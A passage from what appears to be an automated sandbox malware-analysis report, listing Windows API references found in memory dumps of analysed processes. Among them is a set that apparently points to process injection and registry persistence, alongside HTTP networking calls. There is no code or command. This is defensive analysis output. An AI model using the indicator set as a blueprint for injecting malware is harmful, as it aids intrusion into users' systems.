00000000-00000808.00000001.68760.00A19000.00000004.mdmp") Found reference to API (Indicator: "InsertMenu"; Source: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp, 00000000-00000808.00000001.68760.00A19000.00000004.mdmp") Found reference to API (Indicator: "FindWindow"; Source: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp, 00000000-00000808.00000001.68760.00A19000.00000004.mdmp") Found reference to API (Indicator: "DestroyWindow"; Source: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp, 00000000-00000808.00000001.68760.00A19000.00000004.mdmp") Found reference to API (Indicator: "GetDCEx"; Source: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp, 00000000-00000808.00000001.68760.00A19000.00000004.mdmp") Found reference to API (Indicator: "TrackPopupMenuEx"; Source: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp, 00000000-00000808.00000001.68760.00A19000.00000004.mdmp") Found reference to API (Indicator: "CreateWindowEx"; Source: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp, 00000000-00000808.00000001.68760.00A19000.00000004.mdmp") Found reference to API (Indicator: "MessageBox"; Source: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp, 00000000-00000808.00000001.68760.00A19000.00000004.mdmp") Found reference to API (Indicator: "RegisterHotKey"; Source: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp, 00000000-00000808.00000001.68760.00A19000.00000004.mdmp") Found reference to API (Indicator: "UnregisterHotKey"; Source: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp, 00000000-00000808.00000001.68760.00A19000.00000004.mdmp") Found reference to API (Indicator: "CreateDirectory"; Source: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp, 00000000-00000808.00000001.68760.00A19000.00000004.mdmp") Found reference to API (Indicator: "IsValidSid"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleA"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "SwitchToThread"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "GetExitCodeThread"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "GetNativeSystemInfo"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageA"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "WideCharToMultiByte"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "MultiByteToWideChar"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "GetStringTypeW"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceFrequency"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "InitializeSRWLock"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "ReleaseSRWLockExclusive"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "AcquireSRWLockExclusive"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "TryAcquireSRWLockExclusive"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "InitializeConditionVariable"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "WakeConditionVariable"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "SleepConditionVariableSRW"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "EncodePointer"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "DecodePointer"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "SetFileInformationByHandle"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathW"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "InitOnceExecuteOnce"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "SleepConditionVariableCS"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "CreateEventExW"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "CreateSemaphoreExW"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "FlushProcessWriteBuffers"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessorNumber"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount64"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "FreeLibraryWhenCallbackReturns"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "CreateThreadpoolWork"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "SubmitThreadpoolWork"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpoolWork"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "CreateThreadpoolTimer"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "SetThreadpoolTimer"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "WaitForThreadpoolTimerCallbacks"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpoolTimer"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "CreateThreadpoolWait"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "SetThreadpoolWait"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpoolWait"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "GetFileInformationByHandleEx"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "CreateSymbolicLinkW"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "GetCPInfo"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "InitializeSListHead"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "RaiseException"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "RtlUnwind"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "InterlockedPushEntrySList"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "InterlockedFlushSList"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "TlsAlloc"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "TlsGetValue"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "TlsSetValue"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "TlsFree"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "CreateThread"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "ExitThread"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "ResumeThread"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "FreeLibraryAndExitThread"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "GetCommandLineA"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "GetCommandLineW"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThread"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "GetDateFormatW"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "GetTimeFormatW"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "CompareStringW"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "LCMapStringW"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoW"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "IsValidLocale"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "GetUserDefaultLCID"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "EnumSystemLocalesW"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleCtrlHandler"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "FlushFileBuffers"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleOutputCP"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleMode"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "GetFileSizeEx"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointerEx"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "ReadConsoleW"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "HeapReAlloc"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "GetTimeZoneInformation"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "OutputDebugStringW"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileExW"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "FindNextFileW"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "IsValidCodePage"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "GetACP"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "GetOEMCP"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "GetEnvironmentStringsW"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "FreeEnvironmentStringsW"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "SetEnvironmentVariableW"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "SetStdHandle"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "HeapSize"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "SleepConditionVariableCS"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "FlsAlloc"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "FlsFree"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "FlsGetValue"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "FlsSetValue"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionEx"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "AreFileApisANSI"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "CompareStringEx"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "LCMapStringEx"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "LocaleNameToLCID"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "NtUnmapViewOfSection"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameA"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "WriteProcessMemory"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "VirtualFree"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "VirtualAlloc"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "CreateMutexA"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "GetComputerNameExW"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "ResumeThread"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleA"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "SetCurrentDirectoryA"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathA"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "CopyFileA"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesA"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "CreateFileA"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "GetSystemInfo"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "CreateThread"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "GetThreadContext"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "VirtualAllocEx"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "RemoveDirectoryA"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "ReadProcessMemory"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "CreateProcessA"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "CreateDirectoryA"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "SetThreadContext"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "GetSidIdentifierAuthority"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExA"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "RegSetValueExA"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "LookupAccountNameA"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "GetUserNameA"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "GetSidSubAuthority"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "GetSidSubAuthorityCount"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExA"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "ShellExecuteA"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "SHGetFolderPathA"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "HttpOpenRequestA"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "InternetOpenUrlA"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "InternetOpenW"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "InternetOpenA"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "InternetCloseHandle"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "HttpSendRequestA"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "InternetConnectA"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "InternetReadFile"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "ResetEvent"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "InitializeSListHead"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "RaiseException"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "RtlUnwind"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "TlsAlloc"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "TlsGetValue"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "TlsSetValue"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "TlsFree"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "GetDriveTypeW"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "GetFileInformationByHandle"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "PeekNamedPipe"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "SystemTimeToTzSpecificLocalTime"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "FileTimeToSystemTime"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "GetCommandLineA"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "GetCommandLineW"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "MultiByteToWideChar"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "CompareStringW"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "LCMapStringW"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "DeleteFileW"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentDirectoryW"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "GetFullPathNameW"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "SetStdHandle"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileExW"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "FindNextFileW"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "IsValidCodePage"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "GetACP"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "GetOEMCP"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "GetCPInfo"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "WideCharToMultiByte"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "GetEnvironmentStringsW"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "FreeEnvironmentStringsW"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "SetEnvironmentVariableW"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API 